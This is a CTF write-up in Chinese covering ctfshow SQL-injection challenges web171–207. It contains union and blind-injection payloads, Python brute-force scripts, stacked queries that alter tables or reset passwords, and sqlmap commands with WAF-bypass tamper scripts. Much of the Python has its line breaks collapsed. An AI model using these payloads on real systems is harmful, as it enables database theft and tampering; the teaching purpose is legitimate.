前言

记录web的题目wp,慢慢变强,铸剑。

SQL注入

web171

  • 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • GET传参会自己解码,注释可以用%23(#), --空格,–+等,或者拼接语句不用注释也行

  • 判断有3个字段
1' order by 3--+

  • 联合查询,查表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

  • 查字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

  • 查flag
1' union select 1,2,password from ctfshow_user --+

web172

//检查结果是否有flagif($row->username!=='flag'){$ret['msg']='查询成功';}
  • 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1' union select 1,password from ctfshow_user2--+

web173

  • 和上题一样
1' union select 1,2,password from ctfshow_user3--+

web174

//检查结果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查询成功';}
  • 过滤了数字,考察replace的运用,先判断有几个字段
1' order by 2 %23

  • 联合函数添加a和b两个数据ok

  • 先构造一个replace将0-9全部置换
 select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ');

  • 查表构造语句将1-0换成table_name
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23

  • 查字段名
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23

  • 查结果
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+

  • 写个小py来转换一下
import requestsflagstr = 'ctfshow{numHnumEbnumCnumFenumJd-anumEnumHnumF-numDfbnumC-adnumBnumJ-enumAnumAnumBenumDnumFnumDnumGnumHnumAnumH}'flag=''
flag = flag + flagstr.replace('numA','1').\replace('numB','2')\.replace('numC','3')\.replace('numD','4')\.replace('numE','5')\.replace('numF','6')\.replace('numG','7')\.replace('numH','8')\.replace('numI','9')\.replace('numJ','0')print(flag)

web175

//检查结果是否有flagif(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){$ret['msg']='查询成功';}
  • 将ascii所有字符都禁了,无回显就用盲注,写个py脚本
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import time
url = "http://bab11107-9d31-46bf-b41e-0a04bb92b155.challenge.ctf.show:8080/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag =""
for i in range(1,50):for j in dict:payload= f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{i},1)=\"{j}\",sleep(3),0)--+"res_get = url + payloadstart = time.time()res = requests.get(url=res_get)end = time.time()if end-start > 3:flag = flag + jprint(flag)break

web176

  • 发现是对select的过滤,但是没有过滤大小写
1' union all Select 1,2,(Select table_name from information_schema.tables where table_schema=database()) --+
  • 字段
1' union all Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user') --+
  • 查flag
1' union all Select 1,2,(Select password from ctfshow_user where username='flag') --+
  • 第二种方法简单——利用or的后面条件一直为真,可以显示所有数据
  • 查所有数据
1' or 1=1--+

web177

  • 第一种方法判断过滤了空格,但是依旧可以用or通杀显示所有数据

查flag

1'or(1=1)%23
  • 第二种方法,这次发现还多过滤了空格,我们可以用%0a换行符或者注释符绕过(或者%09,%0b,%0c,%0d都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#的url编码形式%23

查flag

1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web178

  • 和上题差不多,多办了/**/这个注释符号,也可以万能密码1'%09or%091=1%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web179

  • 和上题差不多,过滤了%09,%0b,%0d和空格也可以用万能密码1'%0cor%0c1=1%23
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23

web180

  • 这题%23也过滤了,绕过空格的基本都过滤了,我们想着拼凑语句

payload

1.1'or(id='26')and'1=1

这个拼接之后的语句就是

select id,username,password from ctfshow_user where username !='flag' and id = '1.1'or(id='26')and'1=1’ limit 1;
id='1.1'or(id=26)and'1=1' limit 1;
也就是
(id='1.1') or ((id=26) and '1=1') limit 1;
前面因为1.1不存在为0,后面为1,所以整个条件为1

web181

  • 和上题一样
1.1'or(id=26)and'a'='a

web182

  • 和上题一样
1.1'or(id=26)and'a'='a

web183

//拼接sql语句查找指定ID用户$sql = "select count(pass) from ".$_POST['tableName'].";";
  • 提示说拼接sql语句找到指定id,因为前几天他的表都是ctfshow_user,我们可以尝试一下这个表,然后用like和%进行模糊匹配
  • post传参

  • 这里明显有布尔盲注,来进行猜解flag,写一个py脚本
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requestsurl = "http://e9202b55-424f-460d-8597-692168ba560f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):print('[*] 开始盲注第{}位'.format(i))for j in str:data = {"tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)}res = requests.post(url,data)if res.text.find("$user_count = 1")>0:flag += jprint(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break

web184

  • 这把过滤了where,我们用右连接来做
ctfshow% 的十六进制 为 0x63746673686F7725
  • 所以用他来匹配like,放出了空格
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725
  • 写个py来跑flag
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30 21:24
# blog: gylq.gitee.io
import requests
import binasciidef to_hex(s):#转十六进制str_16 = binascii.b2a_hex(s.encode('utf-8'))res = bytes.decode(str_16)return resurl = "http://d42dba7c-384e-4a5d-9a5d-26398d42ce7c.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):print('[*] 开始盲注第{}位'.format(i))for j in str:result = "0x" + to_hex(flag + j + "%")data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}res = requests.post(url,data)if "$user_count = 43" in res.text:flag += jprint(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break# tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725

web185

  • 这次直接过滤了0-9的所有数字,上个脚本进行改变

这次我们利用true来进行替换数字

select true+true;
结果是2
所以我们构造数字c来进行like匹配

我们还是用like模糊匹配,然后利用concat连接true形成的字符和数字

tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))

页面可以正常回显,代码跑起py

#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
import binasciidef createNum(n):num='true'if n==1:return "true"else:for i in range(n-1):num+="+true"return num#把每一个字符转换成ascii码对应的数值
def change_str(s):str=""str+="char("+createNum(ord(s[0]))+")"for i in s[1:]:str+=",char("+createNum(ord(i))+")"return strurl = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"flag = "ctfshow"
for i in range(0,666):print('[*] 开始盲注第{}位'.format(i))for j in str:result = change_str(flag + j + "%")data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)}res = requests.post(url,data)if "$user_count = 43" in res.text:flag += jprint(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break

web186

  • 和上一题一样
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import binasciidef createNum(n):num='true'if n==1:return "true"else:for i in range(n-1):num+="+true"return num#把每一个字符转换成ascii码对应的数值
def change_str(s):str=""str+="char("+createNum(ord(s[0]))+")"for i in s[1:]:str+=",char("+createNum(ord(i))+")"return strurl = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"flag = "ctfshow"
for i in range(0,666):print('[*] 开始盲注第{}位'.format(i))for j in str:result = change_str(flag + j + "%")data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)}res = requests.post(url,data)if "$user_count = 43" in res.text:flag += jprint(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break

web187

$username = $_POST['username'];
$password = md5($_POST['password'],true);//只有admin可以获得flag
if($username!='admin'){$ret['msg']='用户名不存在';die(json_encode($ret));
}
  • 登陆窗口,看返回逻辑

很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制

网上有一个字符串ffifdyop很特殊

echo md5("ffifdyop",true);
//结果
'or'6�]��!r,��b刚好成万能密码password=''or true

web188

 $sql = "select pass from ctfshow_user where username = {$username}";//密码判断if($row['pass']==intval($password)){$ret['msg']='登陆成功';array_push($ret['data'], array('flag'=>$flag));}

可以看到是通过username来列出密码,然后弱比较来进行判断payload

username=0&password=0

以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符

username=1||1&password=0

web189

因为确定一定包含ctfshow这个内容,所以通过load_file的返回值“\u67e5\u8be2\u5931\u8d25”判断是否存在,写个payload

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符

容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注

#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
url = "http://e89f25b2-8acb-4c79-8368-56f445f77e6c.challenge.ctf.show:8080/api/index.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
payload="if(load_file('/var/www/html/api/index.php')regexp('{0}'),1,0)"for i in range(666):print('[*] 开始盲注第{}位'.format(i))for j in str:data={"username":payload.format(flag + j),"password":0}res = requests.post(url,data)if r"\u67e5\u8be2\u5931\u8d25" in res.text:flag += jprint(flag)breakif j=='}':print('[*] flag is {}'.format(flag))exit()

web190

经典盲注,脚本跑

#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):for j in str:data = {"username":payload.format(i,j),"password":123456}res = requests.post(url,data)if r"\u5bc6\u7801\u9519\u8bef" in res.text:flag += jn+=1print('[*] 开始盲注第{}位'.format(n))print(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break

web191

  • 和上题一样,过滤了ascii等,不过我写的payload没用
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):for j in str:data = {"username":payload.format(i,j),"password":123456}res = requests.post(url,data)if r"\u5bc6\u7801\u9519\u8bef" in res.text:flag += jn+=1print('[*] 开始盲注第{}位'.format(n))print(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break

web192

  • 和上题一样,没办=号,我们依旧潇洒
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://8ab877db-cd5c-424f-bb9c-0f54ba6447c7.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):for j in str:data = {"username":payload.format(i,j),"password":123456}res = requests.post(url,data)if "密码错误" in res.json()['msg']:flag += jn+=1print('[*] 开始盲注第{}位'.format(n))print(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break

web193

  • 过滤了substr但是没有过滤正则啊,用正则^来匹配第一个
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://131ffba2-a367-4469-8421-e4c0d9877e37.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#"
#查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#"
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):for j in str:data = {"username":payload.format(flag+j),"password":123456}res = requests.post(url,data)if "密码错误" in res.json()['msg']:flag += jn+=1print('[*] 开始盲注第{}位'.format(n))print(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break

web194

  • 正则依旧没有被办,只是办了个右连接等,继续上个脚本梭哈
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://8f2766ad-af45-441e-b247-7a526b3d150f.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#"
#查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#"
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):for j in str:data = {"username":payload.format(flag+j),"password":123456}res = requests.post(url,data)if "密码错误" in res.json()['msg']:flag += jn+=1print('[*] 开始盲注第{}位'.format(n))print(flag)if j=="}":print('[*] flag is {}'.format(flag))exit()break

web195

    //拼接sql语句查找指定ID用户$sql = "select pass from ctfshow_user where username = {$username};";//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}
  • 过滤了空格,用反引号来代替,因为提示堆叠注入,我们考虑用update更新密码,因为sql语句中没有单引号包含,无法成功执行,所以得将admin转十六进制进行执行

payload

0x61646d696e;update`ctfshow_user`set`pass`=123456

接着用0x61646d696e,123456登陆就行

web196

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}if(strlen($username)>16){$ret['msg']='用户名不能超过16个字符';die(json_encode($ret));}

多限制了用户名的长度,这里注意正则里ban的是se1ect,二不是select,所以select可以继续使用

  • payload
username:1;select(1)
password:1

web197

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}

这里在195的基础上ban了update和set等,不过这里没有ban掉show,我们可以在username把表全部查询出来,在password里传入表名,相等即可符合判断条件爆出flag

username:520;show tables
password:ctfshow_user

web198

  • 上题方法依旧可以做,我们换种思路,这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://86f793a3-65c1-4974-8b76-8276d42d488c.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `gylq` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `gylq` `id` varchar(255);'
data1 = {'username': payload,'password': '1'
}
res = requests.post(url,data1)for i in range(99):data2 = {'username': "0x61646d696e",'password': '{}'.format(i)}res2 = requests.post(url,data2)if "flag" in res2.json()['msg']:print(res2.json()['msg'])break

web199

  • 不变197做法

web200

和上题一样

web201

  • 提示referer标头,查了下资料,默认情况不会对referer发起http请求,但是这题不发就得不到数据,所以可以自行设置referer或者直接level 3

payload

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" --dbs

或者 level 3

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --level 3 --dbs

查表

python3 sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web --tables

查字段

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns

查flag

sqlmap.py -u "http://eb8102e6-5c61-4b70-8a29-24de83d6b0b2.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where "pass like '%ctfshow%'"

web202

  • 就是用–data指定post传参

payload

sqlmap.py -u "http://c339fde0-4900-495d-bcf0-7872c3937afa.challenge.ctf.show:8080/api/" --data="id=1" --threads=10 --batch  --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"

web203

  • 将method改成put,并且注意更改content-type为text/plain,否则会被提交成表单
sqlmap.py -u "http://fa1b6901-9336-417b-9abf-3b0d199ed673.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"

web204

  • 提示传递cookie,抓包拿
sqlmap.py -u "http://74013a20-89e2-4675-a59b-40916d4e4712.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"  -v 5  --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6"

web205

  • 要api鉴权我们抓包可以发现他是先/api/getToken.php,然后再访问/api/index.php,根据浏览器里面select.js文件代码分析也可以发现

sqlmap中提供以下两个参数保证每次都能访问一次一次getToken.php来获取token

--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数

payload

sqlmap.py -u "http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --where="flagx like 'ctf%'" --dump

web206

  • 和上题一样做法,就是换了字段名
sqlmap.py -u "http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1  -D ctfshow_web -T  ctfshow_flaxc -C flagv --dump

web207

  • tamper的初体验,看到过滤了空格

遇到这种情况怎么办?sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下

举例如下tamper脚本:apostrophemask.py 用utf8代替引号equaltolike.py MSSQL * SQLite中like 代替等号greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号space2hash.py 空格替换为#号 随机字符串 以及换行符space2comment.py 用/**/代替空格apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤space2mssqlblank.py mssql空格替换为其它空符号base64encode.py 用base64编码space2mssqlhash.py mssql查询中替换空格modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释space2mysqlblank.py mysql中空格替换其它空白符号between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)multiplespaces.py 围绕SQL关键字添加多个空格space2plus.py 用+替换空格bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为likenonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾chardoubleencode.py 双url编码(不处理以编码的)unionalltounion.py 替换UNION ALL SELECT UNION SELECTcharencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写unmagicquotes.py 宽字符绕过 GPC addslashesrandomcomments.py 用/**/分割sql关键字charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码securesphere.py 追加特制的字符串versionedmorekeywords.py MySQL >= 5.1.13注释绕过halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
sqlmap.py -u "http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxca --dump

根据原本的space2comment仿写了一个,将注释换成了0x09

#!/usr/bin/env python
"""
Author:孤桜懶契
"""from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
